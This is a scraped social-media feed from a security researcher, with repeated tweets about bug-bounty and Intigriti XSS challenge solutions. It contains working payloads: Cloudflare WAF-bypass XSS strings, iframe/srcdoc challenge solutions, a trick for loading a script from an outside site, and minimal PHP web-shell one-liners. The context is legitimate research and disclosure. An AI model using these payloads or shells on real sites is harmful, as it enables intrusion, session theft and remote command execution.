Bohdan Korzhynskyi

Security researcher and backend developer

[Bohdan Korzhynskyi @bohdansec]

@zseano @johnjhacking @theXSSrat Thanks!☺️

[Bohdan Korzhynskyi @bohdansec]

@intigriti You can find the solution on my page 😇😇😇😇😇😇😇😇😇

[Bohdan Korzhynskyi @bohdansec]

Solution

Visit https://t.co/chDg24JGAE

If you are using Chrome, you need to move the mouse pointer anywhere inside the tab window after the text "If you are not being redirected, click here" appears. If Firefox - just leave the pointer inside the tab window and wait

#XSS

[Bohdan Korzhynskyi @bohdansec]

@JacksonHHax Oh, really? ;D

https://t.co/o3nWVyetNu

[Bohdan Korzhynskyi @bohdansec]

Cloudflare XSS Bypass via add 8 or more superfluous leading zeros for dec and 7 or more for hex.

Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>

#Bypass #WAF #XSS #Cloudflare #BugBountyTip

[Bohdan Korzhynskyi @bohdansec]

@XssPayloads @JacksonHHax Oh, really? ;D

https://t.co/o3nWVyetNu

[Bohdan Korzhynskyi @bohdansec]

Cloudflare XSS Bypass via add 8 or more superfluous leading zeros for dec and 7 or more for hex.

Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>

#Bypass #WAF #XSS #Cloudflare #BugBountyTip

[Bohdan Korzhynskyi @bohdansec]

Cloudflare downgraded and my old payload via many zeros is working again :D

https://t.co/o3nWVyetNu

[Bohdan Korzhynskyi @bohdansec]

Cloudflare XSS Bypass via add 8 or more superfluous leading zeros for dec and 7 or more for hex.

Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>

#Bypass #WAF #XSS #Cloudflare #BugBountyTip

[Bohdan Korzhynskyi @bohdansec]

@0xmanish Hi, writeups are here: https://t.co/jTM8WkdxJ0

[Intigriti @intigriti]

Here are some of your writeups, keep them coming!
@JorenVerheyen: https://t.co/8r2eGo3pIe
physuru:
https://t.co/O4RWlPhD42

[Bohdan Korzhynskyi @bohdansec]

Solution for #Intigriti May #XSS Challenge:

https://t.co/AbDQNOXBhc

Where:

https://t.co/cW6mE2OVzd - link to our site with widgets.js in root
%2e%2e - firefox will stay in current path
for internal src %2e%2e will be decoded as .. to get a redirect via // to our widgets.js

[Bohdan Korzhynskyi @bohdansec]

@intigriti Solution is here: https://t.co/bISqEPWrpb

[Bohdan Korzhynskyi @bohdansec]

Solution for #Intigriti May #XSS Challenge:

https://t.co/AbDQNOXBhc

Where:

https://t.co/cW6mE2OVzd - link to our site with widgets.js in root
%2e%2e - firefox will stay in current path
for internal src %2e%2e will be decoded as .. to get a redirect via // to our widgets.js

[Bohdan Korzhynskyi @bohdansec]

@intigriti @Burp_Suite Solution is here: https://t.co/bISqEPWrpb

[Bohdan Korzhynskyi @bohdansec]

Solution for #Intigriti May #XSS Challenge:

https://t.co/AbDQNOXBhc

Where:

https://t.co/cW6mE2OVzd - link to our site with widgets.js in root
%2e%2e - firefox will stay in current path
for internal src %2e%2e will be decoded as .. to get a redirect via // to our widgets.js

[Bohdan Korzhynskyi @bohdansec]

@intigriti @Burp_Suite Solved!)

[Bohdan Korzhynskyi @bohdansec]

@intigriti @mefkansec @securinti @Burp_Suite @filedescriptor @jackds1986 Yes, it solution is fixed :(

[Bohdan Korzhynskyi @bohdansec]

@terjanq <?=`{$_GET[_]}`; (16 bytes) PHP shell is not the shortest. Can do without {} The shortest is <?=`$_GET[_]`; (14 bytes) if short_open_tag: Off and <?`$_GET[_]`; (13 bytes) if short_open_tag: On

[Bohdan Korzhynskyi @bohdansec]

@cybershell007 Are you sure Cloudflare is used there?

[Bohdan Korzhynskyi @bohdansec]

New Cloudflare XSS Bypass:

<svg/OnLoad="`${prompt``}`">

Proof: https://t.co/ofJdkl8CED

A strange new solution from Cloudflare engineers. WAF will be weakened if DOM event has uppercase.

#WAF #XSS #BugBounty #BugBountyTip

[Bohdan Korzhynskyi @bohdansec]

@GochaOqradze Спасибо!)

[Bohdan Korzhynskyi @bohdansec]

And of course I sent a report to Google and received a positive response from them to disclose

[Bohdan Korzhynskyi @bohdansec]

I accidentally discovered that #Google showed cached data of random users who previously visited https://t.co/KfrORjum5b or particular users if they opened a map with a unique `hl` parameter value.

#Vulnerability was present from March 28 (mb earlier) to April 1

#CachePoisoning

[XSS Payloads @XssPayloads]

2 solutions to the @intigriti easter challenge by @bohdansec

#.hta%253ciframe/srcdoc=<script/src="'-alert(document.domain)-'"></script>

#../index.php/%2522%253E%253Ciframe/srcdoc=<script/src="'-alert(document.domain)-'"></script>/

[Bohdan Korzhynskyi @bohdansec]

Two my solutions for https://t.co/8R0xhPIYT2

#.hta%253ciframe/srcdoc=<script/src="'-alert(document.domain)-'"></script>

#../index.php/%2522%253E%253Ciframe/srcdoc=<script/src="'-alert(document.domain)-'"></script>/

#BugBounty #CTF #HackWithIntigriti #WriteUp #EasterChallenge